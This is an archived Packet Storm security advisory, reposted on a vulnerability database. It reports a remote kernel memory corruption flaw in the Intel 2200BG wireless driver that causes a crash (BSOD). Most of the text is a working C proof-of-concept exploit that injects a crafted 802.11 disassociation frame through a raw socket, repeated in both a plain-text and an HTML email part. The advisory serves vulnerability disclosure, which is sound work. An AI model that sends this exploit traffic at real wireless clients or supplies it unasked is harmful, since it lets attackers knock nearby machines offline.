Lucene search
K

intel-dos.txt

🗓️ 27 Jan 2007 00:00:00Reported by Breno SilvaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

Intel 2200BG 802.11 disassociation packet Kernel Memory Corruption. Intel wireless mini-pci driver (v9.0.3.9) vulnerable to remote memory corruption via malformed disassociation packets causing denial of service (BSOD). Driver files affected: w29n51.sys, w29mlres.dll, w29NCPA.dll

Code
`------=_Part_72042_24806074.1169818557157  
Content-Type: text/plain; charset=ISO-8859-1; format=flowed  
Content-Transfer-Encoding: 7bit  
Content-Disposition: inline  
  
Title: Intel 2200BG 802.11 disassociation packet Kernel Memory Corruption  
  
Description: The intel wireless mini-pci driver provided with Intel  
2200BG cards is vulnerable to a remote memory corruption flaw.  
Malformed disassociation packets can be used to corrupt internal kernel  
structures, causing a denial of service (BSOD)  
  
This vulnerability was found at Intel 2200 driver version 9.0.3.9  
(09/12/2005).  
  
Driver files:  
  
w29n51.sys 9ee38ffcb4cbe5bee6c305700ddc4725  
w29mlres.dll 35afeccc4092b69f62d757c4707c74e9  
w29NCPA.dll 980f58b157baedc23026dd9302406bdd  
  
Author: Breno Silva Pinto ( Sekure.org ) / bsilva[at]sekure[dot]org)  
  
  
Proof Of Concept:  
  
#include <unistd.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <sys/ioctl.h>  
#include <asm/types.h>  
#include <linux/if.h>  
#include <linux/if_packet.h>  
#include <linux/if_ether.h>  
#include <linux/if_arp.h>  
#include <netinet/in.h>  
#include <stdlib.h>  
#include <string.h>  
#include <stdio.h>  
  
// 28 bytes disassociation packet.  
  
char d[] = { 0xa0, 0x00, // 0xa0 pacote Disassociate 0xa000 FC Normal  
0x00, 0x00, // Duration ID  
0x00, 0x12, 0xf0, 0x29, 0x77, 0x00, // DST addr  
0xbb, 0xbb, 0xbb, 0xbb, 0xbb, 0xbb, // SRC addr  
0x00, 0x0f, 0x66, 0x11, 0x7b, 0xd0, // BSS id  
0x00, 0x00, // Frag. Number  
0x01, 0x00, 0x00, 0x00 }; // 2 bytes - Reason code  
  
int main() {  
struct sockaddr_ll link;  
struct ifreq iface;  
int s;  
char packet[sizeof(d)];  
int len = 0;  
  
if((s=socket(PF_INET, SOCK_DGRAM, 0))<0)  
return 0;  
  
bzero(&iface,sizeof(iface));  
bzero(&link,sizeof(link));  
bzero(packet,sizeof(d));  
  
strcpy(iface.ifr_name,"ath0raw");  
  
if(ioctl(s,SIOCGIFHWADDR, &iface)) {  
return 0;  
}  
  
if(ioctl(s,SIOCGIFINDEX, &iface)) {  
return -1;  
}  
  
if((s=socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)))<0) {  
return -1;  
}  
  
link.sll_family = AF_PACKET;  
link.sll_ifindex = iface.ifr_ifindex;  
  
if(bind(s,(struct sockaddr *) &link, sizeof(link))<0) {  
return -1;  
}  
  
memcpy(packet,d,sizeof(d));  
len = sendto(s,packet,sizeof(d), 0, NULL, 0);  
usleep(5000);  
printf("%d bytes enviados\n",len);  
  
close(s);  
  
return 0;  
}  
  
------=_Part_72042_24806074.1169818557157  
Content-Type: text/html; charset=ISO-8859-1  
Content-Transfer-Encoding: 7bit  
Content-Disposition: inline  
  
<p>Title:&nbsp; Intel 2200BG 802.11 disassociation packet Kernel Memory Corruption</p>  
<p>Description:&nbsp; The intel wireless mini-pci driver provided with Intel<br>2200BG cards is vulnerable to a remote&nbsp; memory corruption flaw.<br>Malformed disassociation packets can be used to corrupt internal kernel<br>structures, causing a denial of service (BSOD)  
</p>  
<p>This vulnerability was found at Intel 2200 driver version 9.0.3.9(09/12/2005).</p>  
<p>Driver files:</p>  
<p>w29n51.sys&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 9ee38ffcb4cbe5bee6c305700ddc4725<br>w29mlres.dll&nbsp;&nbsp;&nbsp; 35afeccc4092b69f62d757c4707c74e9<br>w29NCPA.dll&nbsp;&nbsp;&nbsp;&nbsp; 980f58b157baedc23026dd9302406bdd</p>  
<p>Author: Breno Silva Pinto ( <a href="http://Sekure.org">Sekure.org</a> ) / bsilva[at]sekure[dot]org)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>  
<p>Proof Of Concept:</p>  
<p>#include <unistd.h><br>#include <sys/types.h><br>#include <sys/socket.h><br>#include <sys/ioctl.h><br>#include <asm/types.h><br>#include <linux/if.h><br>#include <linux/if_packet.h>  
<br>#include <linux/if_ether.h><br>#include <linux/if_arp.h><br>#include <netinet/in.h><br>#include <stdlib.h><br>#include <string.h><br>#include <stdio.h></p>  
<p>// 28 bytes disassociation packet.</p>  
<p>char d[] = { 0xa0, 0x00,&nbsp;&nbsp;&nbsp; // 0xa0 pacote Disassociate&nbsp; 0xa000 FC Normal<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x00, 0x00, // Duration ID<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x00, 0x12, 0xf0, 0x29, 0x77, 0x00, // DST addr<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0xbb, 0xbb, 0xbb, 0xbb, 0xbb, 0xbb, // SRC addr  
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x00, 0x0f, 0x66, 0x11, 0x7b, 0xd0, // BSS id<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x00, 0x00, // Frag. Number<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x01, 0x00, 0x00, 0x00 }; // 2 bytes - Reason code</p>  
<p>int main() {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct sockaddr_ll link;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct ifreq iface;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int s;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char packet[sizeof(d)];<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int len = 0;</p>  
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if((s=socket(PF_INET, SOCK_DGRAM, 0))<0)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;</p>  
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bzero(&iface,sizeof(iface));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bzero(&link,sizeof(link));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bzero(packet,sizeof(d));</p>  
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcpy(iface.ifr_name,"ath0raw");</p>  
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(ioctl(s,SIOCGIFHWADDR, &iface)) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(ioctl(s,SIOCGIFINDEX, &iface)) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>  
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if((s=socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)))<0) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>  
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; link.sll_family = AF_PACKET;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; link.sll_ifindex = iface.ifr_ifindex;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;if(bind(s,(struct sockaddr *) &link, sizeof(link))<0) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>  
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(packet,d,sizeof(d));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; len = sendto(s,packet,sizeof(d), 0, NULL, 0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; usleep(5000); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%d bytes enviados\n",len);</p>  
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; close(s);</p>  
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<br>}</p>  
<p>&nbsp;</p>  
  
------=_Part_72042_24806074.1169818557157--  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation